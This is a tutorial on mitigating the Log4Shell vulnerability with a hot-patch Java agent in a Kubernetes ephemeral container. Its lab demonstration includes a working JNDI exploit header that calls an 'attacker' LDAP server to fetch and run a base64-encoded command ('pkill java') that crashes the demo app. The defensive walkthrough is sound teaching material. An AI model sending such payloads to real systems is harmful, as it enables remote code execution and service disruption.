Log4Shell is a Remote Code Execution vulnerability in the Apache Log4j library, an extremely popular Java-based logging framework. This vulnerability allows an attacker who can control log messages to execute arbitrary code loaded from the attacker-controlled servers.

On December 9th this vulnerability was published as CVE-2021–44228, categorized as Critical with a CVSS score of 10 (the highest score possible).

Due to the massive adoption of the Log4j framework, this vulnerability also indirectly affects many Java open-source projects such as Apache Struts 2, Apache Solr, Apache Druid, and Spring Boot. If your workload is affected, the best way to patch this vulnerability is by upgrading Log4j to version 2.15.0 or higher.

Upgrading the log4j version has a few disadvantages:

1. Requires building a new container image
2. Deploying the modified version will cause a restart to the running application and possibly some downtime.
3. The affected log4j versions may also be downloaded via a transitive dependency of other libraries, which makes the upgrade process even more difficult.

Fortunately, you can leverage the ephemeral containers feature introduced in Kubernetes v1.16 via a feature gate. In the newly released Kubernetes v1.23, this feature is enabled by default. Ephemeral containers will allow us to patch applications without modifying code or causing downtime.

The following mitigation is achieved by running an external tool named Log4jHotPatch as an ephemeral container.

Before diving into the solution, first I want to give you a safe way to see the attack in action.

First, you will need a Kubernetes cluster running version v1.23. An easy way to start one is via kind:

kind create cluster — image=kindest/node:v1.23.0

Next, simulate the attack by deploying a Spring Boot application and a malicious JNDI server via the following command:

kubectl apply -f https://raw.githubusercontent.com/edeNFed/log4shell-ephemeral-containers/master/log4j-vuln-example.yaml

Now you have two running pods: vulnerable-app and attacker.

In order to attack the vulnerable application, you need to interact with it in a way that triggers writing a log message with our malicious string. The example vulnerable application has a feature that will log the “X-Api-Version” header of any incoming HTTP request. In addition, the malicious JNDI server contains an API endpoint that will return a class that executes the command specified at /Basic/Command/Base64/.

Everything left to do is to invoke an HTTP request with the malicious command, in this example: pkill java (a denial of service attack).

kubectl run -it — rm client — image=curlimages/curl — curl http://vulnerable-app:8080 -H ‘X-Api-Version: ${jndi:ldap://attacker:1389/Basic/Command/Base64/cGtpbGwgamF2YQo=}’

Once the command executes, you should see that our Spring application crashed!

kubectl get pods

NAME          READY    STATUS    RESTARTS    AGE

attacker       1/1     Running     0         16m

vulnerable-app 0/1     Error       0         16m

The mitigation is based on a new Kubernetes feature called ephemeral containers, a new kind of container that runs temporarily in an existing Pod.In this mitigation solution, the ephemeral container will contain an image based on Log4jHotPatch — a Java agent that removes the problematic log4j code. Specifically, it changes the lookup() method of the org.apache.logging.log4j.core.lookup.JndiLookup class to always return the string “Patched JndiLookup::lookup()” without accessing external, possibly malicious, servers.

In order to inject a Java agent into a running Java application, both containers need to have a shared /tmp folder. This is achieved by creating a symbolic link in the ephemeral container entrypoint, referring to the target container /tmp directory (the full Dockerfile is available here).

If you ran the proof of concept from earlier, redeploy the applications by running:

kubectl delete -f https://raw.githubusercontent.com/edeNFed/log4shell-ephemeral-containers/master/log4j-vuln-example.yamlkubectl apply -f https://raw.githubusercontent.com/edeNFed/log4shell-ephemeral-containers/master/log4j-vuln-example.yaml

Finally, run the mitigation command:

kubectl debug -it vulnerable-app — image=edenfed/log4j2patch:8 — target=vulnerable-app

You can verify that the mitigation worked by executing the attack command again and observing that the Spring Boot application is still running.

kubectl get pods

NAME             READY    STATUS    RESTARTS  AGE

attacker          1/1     Running     0       70s

vulnerable-app    1/1     Running     0       70s

Log4Shell is an extremely critical attack, affecting most of the Java applications around the world.

Luckily, newer versions of Kubernetes include a great feature that allows us to patch this vulnerability easily without needing to modify the container image or restart the application.

Apache Log4j by the Apache Software Foundation

Log4jHotPatch created by AWS Corretto team

Log4Shell example Spring App created by christophetd

Malicious JNDI Server (JNDIExploit) by feihong-cs